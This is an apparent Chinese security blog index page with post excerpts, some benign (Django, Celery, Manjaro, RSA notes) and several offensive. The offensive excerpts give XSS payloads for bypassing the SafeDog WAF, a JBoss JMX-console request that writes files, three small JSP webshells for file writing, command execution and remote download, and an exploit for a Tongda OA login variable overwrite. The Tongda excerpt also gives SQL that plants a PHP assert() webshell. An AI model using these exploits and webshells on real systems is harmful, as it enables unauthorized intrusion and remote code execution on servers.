云镜 MirrorScan

| 热度 | 字数统计: 180 字 | 阅读时长: 1 分

MirrorScan 是一款模仿 Bugscan 的插件化 Web 扫描器

节点代码基于 Bugscan, 项目后端使用 Tornado, 数据存储使用 LeanCloud

别指望着这个能和 awvs 一样的效果…

目前的插件不怎么多, 只能提供一些基本的漏洞检测, 信息收集, 子域名和端口的扫描

以后会陆陆续续的增加, 各种 cms, java 中间件 以及像 http 盲攻击这样的 fuzz 插件等

说点别的, 插件化扫描器 7 年前余大就在搞了, 大佬就是不一样

至于扫描器网站和邀请码在哪里, 你们不是打 CTF 很厉害吗? 各种姿势弹 Windows 计算器吗? 自己找啊.

Django 学习笔记

| 热度 | 字数统计: 2,095 字 | 阅读时长: 10 分

Django 是基于 Python 的 MVC 式 Web 框架.

与其它框架不同的是, Django 为 MVT 设计模式, M 为 Model, 负责对数据库结构的封装, V 为 View, 负责程序的主要操作, T 为 Template, 负责前端内容的输出.

不会讲太多, 文章面向那些想立即用 Django 快速开发一个网站/博客的朋友.

顺便吐槽下国内的的 X客园, Xsdn Xteye 等等网站, 内容复制来复制去的就不说什么了, 关于 Django 和 Python 深入一点的问题完全答非所问, 最后只好在 Django Python 官方文档和 StackOverFlow 找到答案.

Read More

xss bypass safedog

| 热度 | 字数统计: 891 字 | 阅读时长: 5 分

ref-xss

绕过 payload 格式

1
<[WORD] on[EVENT]=[EVAL]>[TEXT]

在随机单词的标签内加上 on 事件, 最后在标签外加上文本.

因为 html 的松散性, 导致 <sb>sb</sb> 都能被解析成标签, 并且支持触发类似于 onclick onmouseover 的事件

特别小众的标签也可以绕过安全狗的规则, 比如 acronym address, 翻翻 w3c 的教程能找出好多

dom-xss

安全狗不存在 dom-xss 的拦截规则

基本上没有尖括号就可以绕过了, 或者使用上面的 payload

由于上下文是在 JavaScript 的环境内, 会有很多的变形

1
2
";alert(0);//
";document.write("\u003cscript\u003ealert(0)\u003c\u002fscript\u003e");//

总之先闭合 然后直接弹窗 or 用 docment.write 写标签

Read More

windows 下载文件的几种姿势

| 热度 | 字数统计: 403 字 | 阅读时长: 2 分

Linux 下载文件的方式很多, 一般系统自带的 curl wget 就能搞定, 甚至还可以直接在线 apt yum 安装, 也有很多环境例如 Python Ruby Perl

Windows 就那么几个, 除了 vbs 和 powershell 以外大都是依赖于 microsoft 官方自带的命令行工具

对于写着 msiexec IEExec regsvr32 的那些人我只能说呵呵, 下载文件和直接下载执行不是一个概念

Read More

jboss 本地 getshell

| 热度 | 字数统计: 278 字 | 阅读时长: 1 分

Jboss 远程部署 getshell 有时候会爆 org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter 的错误

本地 getshell 不需要远程主机, 缺点是只能写特别小的 jsp 马, 太大可能会 400 或者 no response found

1
/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=upload5warn.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=CONTENT&argType=boolean&arg4=True

把 CONTENT 替换成要写入的内容, 注意先要进行一次 url 编码

给出即个特别小的马

写 shell, 传参 ?f=test.txt&t=helloworldT

1
<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>

执行命令, 传参 ?i=whoami

1
<%if(request.getParameter("i")!=null){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>

下载文件, 传参 ?f=test.txt&u=http://example.com/test.txt

1
<% if(request.getParameter("u")!=null){java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();byte[] b = new byte[1024];java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();int a = -1;while ((a = in.read(b)) != -1) {baos.write(b, 0, a);}new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray());}%>

Celery 学习笔记

| 热度 | 字数统计: 1,501 字 | 阅读时长: 7 分

Celery 是一个强大的异步任务调度框架.

概念

类似于 生产/消费模型 中的生产者和消费者, 在 celery 中也有这样的几个角色, 分别是 broker backend work 和 task

Broker

broker 是用于传输消息的中间件, 当应用程序调用异步任务的时候, 会向 broker 传递消息, 之后 worker 取出任务并执行

RabbitMQ Redis 可作为 broker

Read More

Manjaro Linux 入坑指南

| 热度 | 字数统计: 2,433 字 | 阅读时长: 10 分

从 Deepin 换到了 Manjaro, 中间体验过 Ubuntu, 各种 PPA 加上网上零零散散的 deb 包, 找起来挺费事的

去年折腾过 Arch, 安装过程其实很简单, 基本上就是 分区 -> 挂载 -> chroot -> base 系统安装 -> 各种系统设置 -> grub 走一遍

没遇到过滚挂的情况, 但用起来总觉得怪怪的

Arch 系的发行版还有 antergos, 据说用户体验不怎么好

Read More

通达 OA 变量覆盖及 getshell

| 热度 | 字数统计: 152 字 | 阅读时长: 1 分

版本 2015, 乌云平台上的漏洞, 正好最近实战也用到了

变量覆盖

/logincheck.php

post 数据

USERNAME=admin&PASSWORD=&MYOA_MASTER_DB[id]=1&MYOA_MASTER_DB[host]=MYSQL_HOST&MYOA_MASTER_DB[user]=MYSQL_USER&MYOA_MASTER_DB[pwd]=MYSQL_PASSWORD&MYOA_MASTER_DB[db]=MYSQL_DATABASE

mysql 数据库需要自己部署

TD_OA.sql

getshell

后台有 sql 导入功能, 有两种方法, 使用 into outfile 或者用 general_log

1
2
3
4
5
update mysql.user set file_priv='Y' where user='root';
flush privileges;
select concat("'",0x3C3F7068702061737365727428245F504F53545B615D29203F3E) into outfile '../webroot/test.php';
update mysql.user set file_priv='N' where user='root';
flush privileges;
1
2
3
4
set global general_log = on;
set global general_log_file = '../webroot/test.php';
select '<?php assert($_POST[a]) ?>';
set global general_log = off;

保存为 sql 文件然后上传即可

xss tv 挑战笔记

| 热度 | 字数统计: 674 字 | 阅读时长: 3 分

test.xss.tv

最短 xss 平台的题目, 一共20关.

19关和20关没做, 都是 xsf, 之前审计过 flash 文件也没啥好印象.

这个相对于之前的 xss challenges 真是一点 Hint 都没有, 不过可以显示出 payload 的长度.

Read More

RSA 算法原理

| 热度 | 字数统计: 1,099 字 | 阅读时长: 5 分

先介绍两个概念, 对称加密算法和非对称加密算法.

对称加密算法

使用同一密钥进行加解密. 例如之前介绍的 xor, 也可以算作对称加密算法.

非对称加密算法

使用不同密钥进行加解密, 公开的叫公钥, 不公开的叫私钥, 使用公钥加密, 私钥解密.

RSA 是一种典型的非对称加密算法.

Read More